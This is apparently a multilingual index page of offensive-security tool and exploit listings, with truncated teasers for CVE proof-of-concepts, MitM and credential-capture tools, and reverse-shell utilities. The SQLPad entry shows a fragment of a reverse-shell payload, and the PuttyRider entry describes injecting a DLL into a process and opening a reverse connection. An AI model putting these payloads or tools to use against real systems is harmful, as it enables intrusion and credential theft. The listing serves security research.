fortios-auth-bypass-check-CVE-2024-55591

CVE-2024-55591 Обнаружение уязвимости обхода аутентификации Fortinet FortiOS Обнаружение в действии root@kitploit: python CVE-2024-55591-check.py --target 192.168.1.10 --port 443 / | | |\ \ \ / / \ \ / | | \| | / \ / / \ \ \ / / | | \ \| Y | | \ / | | \ // || \\ ||| | \ / \// || \...

StreamDivert

StreamDivert StreamDivert — это инструмент для man-in-the-middle или ретрансляции входящих и исходящих сетевых соединений в системе. Он позволяет, например, ретранслировать все входящие SMB-соединения на порт 445 на другой сервер или ретранслировать только определённые входящие SMB-соединения с...

CVE-2022-0944

CVE-2022-0944 PoC PoC для RCE в SQLPad. Этот пример запускает обратную оболочку, но полезную нагрузку можно изменить для выполнения любой доступной команды, изменив команду в вызове 'exec' внутри полезной нагрузки. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i &...

CVE-2025-3243

🔐 CVE-2025-3243 SSH Checker 빠르고. 가볍고. 불필요한 것 없이. Erlang/OTP SSH 클라이언트의 CVE-2025-3243 취약점에 대한 초기 노출 확인 을 위한 Python 스크립트입니다. 이 프로젝트는 SSH가 중요한 자산인 환경에서 신속한 선별 , 운영 불확실성 감소 , 공격 표면 검증 을 위해 설계되었습니다. 🧠 전략적 배경 CVE-2025-3243 는 특정 버전의 Erlang/OTP SSH Client 에 영향을 미치며, 연결 협상 중 예기치 않은 동작 을 유발할 수 있습니다. 👉 이...

CVE-2018-1111

CVE-2018-1111 CVE-2018-1111 の環境 動画 コマンド docker-compose root@kitploit: $ docker-compose up -d 攻撃者側 root@kitploit: $ docker-compose exec attacker bash root@attacker / /scripts/attack.sh Ncat: Version 7.50 https://nmap.org/ncat Ncat: Listening on :::1337 Ncat: Listening on 0.0.0.0:1337 被害者側...

easyssh

EasySSH Менеджер SSH-подключений, который облегчит вашу жизнь. Ищем мейнтейнеров! Полный, эффективный и простой в использовании менеджер. Создавайте и редактируйте подключения, группы, настраивайте терминал, с поддержкой нескольких экземпляров одного подключения. Возможности Управление...

cve-2021-44228

CVE-2021-44228 https://nvd.nist.gov/vuln/detail/CVE-2021-44228 log4j.java - 이 PoC https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce를 수정하여 JNDIExploit의 다양한 페이로드를 실행하는 버전입니다. jndi.pcap - 이러한 각 페이로드가 실행되는 PCAP 파일입니다. snort.rules - LDAP 및 HTTP 연결을 탐지하는 Snort 규칙입니다. HTTP 규칙이 작동하도록 하는 Pu...

CVE-2024-3656

Keycloak 24.0.5는 Broken Access Control 취약점에 취약하며, 공격자는 인증된 사용자를 이용하여 다음과 같은 몇 가지 API 작업을 수행할 수 있습니다: testLDAPConnection 엔드포인트를 통해 LDAP 연결 테스트 getUnmanagedAttributes 엔드포인트를 통해 모든 사용자의 관리되지 않은 속성 검색 getProviders 엔드포인트를 통해 클라이언트 등록 정책 공급자 접근 그중에서도 공격자가 외부 호스트와 LDAP 상호작용을 할 수 있는 testLDAPConnection 에만...

KSMBDrain

개요 KSMBDrainCVE-2025-38501에 대한 개념 증명PoC 익스플로잇입니다. 원격으로 KSMBD 서버의 연결 한도를 소진시킬 수 있습니다. 세부 정보 원격 공격자는 TCP 3-way 핸드셰이크를 수행한 후 이후 패킷에 응답하지 않음으로써 KSMBD 서버의 최대 연결 한도를 소진시킬 수 있습니다. 기본적으로 KSMBD 서버는 이러한 연결을 무기한 유지하므로 공격자가 사용 가능한 모든 연결을 소비할 수 있습니다. 사용자 공간 구성 파일에서 타임아웃을 설정할 수 있지만최소 1분, 단일 IP 주소의 공격자는 이러한 연결을...

mediator

Mediator — это сквозной зашифрованный reverse shell, в котором оператор и оболочка подключаются к серверу-«посреднику», который соединяет эти подключения. Это устраняет необходимость для оператора/обработчика настраивать проброс портов для прослушивания входящего соединения. Mediator также...

getaltname

GSAN - Subject Alternative Namesを取得 GSAN は、HTTPSサーバーから直接SSL証明書に含まれるSubject Alternative Names（SAN）を抽出できるツールであり、DNS名（サブドメイン）や仮想サーバーを提供します。 これはCertificate Transparencyログに依存せず、サーバーに直接接続して証明書からSANを抽出します。これは内部サーバーや自己署名証明書を分析する際に特に便利です。 インストール pip（または推奨されるpipx）を使用して、システムに多くの依存関係を汚染しないようにします。...

ABPTTS

Чёрный путь к солнцу TCP-туннелирование через HTTP для серверов веб-приложений https://www.blackhat.com/us-16/arsenal.htmla-black-path-toward-the-sun Бен Линкольн, NCC Group, 2016 ABPTTS использует скрипт клиента на Python и страницу/пакет сервера веб-приложений1 для туннелирования TCP-трафика...

BlueBorn

BlueBorn CVE-2017-0785 Archlinux 설치 paru -S python-pybluez-git bluez-utils-compat pyhton3 python3-pip sudo pip install pwn 튜토리얼 장치 검색 root@kitploit: hcitool scan Scanning ... XX:XX:XX:XX:XX:XX Device 1 XX:XX:XX:XX:XX:XX Device 2 익스플로잇 사용 root@kitploit: python CVE-2017-0785.py TARGET=XX:XX:XX:XX:X...

CVE-2025-24071

CVE-2025-24071 此 Python 脚本旨在演示 Windows 资源管理器中的 CVE-2025-24071 漏洞。该漏洞允许攻击者无需受害者直接交互即可捕获受害者的 netNTLMv2 凭据。 描述 CVE-2025-24071 漏洞存在于 Windows 处理 ZIP 压缩包内 .library-ms 文件的方式中。当提取包含恶意 .library-ms 文件的 ZIP 文件时，Windows 会自动尝试访问该文件中指定的 SMB 位置，这可能导致受害者的凭据暴露给攻击者的服务器。 此脚本生成一个包含恶意 .library-ms 文件的 ZIP 文件。当受害者提取该 Z...

CVE-2024-53704

nxbender nxbender は、NetExtenderを介してVPN接続を確立するProof-of-Concept（PoC）です。 このプロジェクトは教育および研究目的のみを対象としています。明示的に許可された環境でのみコードを使用してください。 前提条件 Python 3.6+ （推奨：Python 3.8以上） pip （Pythonパッケージインストーラ） 依存関係： configargparse requests colorlog pyroute2 必要なパッケージは、例えば以下のようにインストールします： root@kitploit: pip install...

Seth

Seth Seth — это инструмент, написанный на Python и Bash, для MitM-атак на RDP-соединения путем попытки понижения версии соединения с целью извлечения учетных данных в открытом виде. Он был разработан для повышения осведомленности и обучения важности правильной настройки RDP-соединений в контексте...

ssct

ShadowSocks ConnecTion 방화벽을 지속적으로 우회하기 위한 shadowsocks 래퍼 도구입니다. 빠른 시작 자동 연결 이 도구를 실행하는 가장 쉬운 방법은 터미널에 ssct를 입력하는 것입니다. 그러면 ssct가 ishadowsocks에서 사용 가능한 shadowsocks 서버를 가져와 자동으로 연결합니다. 특정 서버에 연결 먼저 --list 옵션으로 모든 ss 서버를 표시합니다. root@kitploit: ssct --list 그런 다음 -n 옵션으로 특정 서버에 연결합니다. root@kitploit: ss...

CVE-2019-16279

CVE-2019-16279 （CVE-2019-16279）dos 이 버그는 단일 연결에 너무 많은 \r\n을 보낼 때 메모리 오류를 악용합니다. 예시 $ curl http://127.0.0.1:8080 HELLO! $ ./CVE-2019-16279.sh 127.0.0.1 8080 $ curl http://127.0.0.1:8080 curl: 7 Failed to connect to 127.0.0.1 port 8080: Connection refused...

PuttyRider

PuttyRider Putty 세션을 가로채서 대화를 스니핑하고 Linux 명령을 주입합니다. Download PuttyRider-bin.zip Documentation Defcamp 2014 프레젠테이션 - pdf Defcamp 2014 프레젠테이션 - video Examples 실행 중인 Putty 프로세스와 그 상태주입됨/주입되지 않음를 나열합니다. root@kitploit: PuttyRider.exe -l 첫 번째로 발견된 putty.exe에 DLL을 주입하고 DLL에서 내 IP:Port로 역방향 연결을 시작한 후...

ettercap

중간자 공격을 위한 스위트 저작권 2001-현재 Ettercap 개발팀 소개 Ettercap은 중간자 공격을 위한 포괄적인 스위트입니다. 실시간 연결 스니핑, 실시간 콘텐츠 필터링 및 기타 여러 흥미로운 기능을 제공합니다. 많은 프로토콜의 능동 및 수동 분석을 지원하며 네트워크 및 호스트 분석을 위한 다양한 기능을 포함합니다. !NOTE Aoccdrnig to rscheearch at an Elingsh uinervtisy, it deosn't mttaer in waht oredr the ltteers in a wrod are...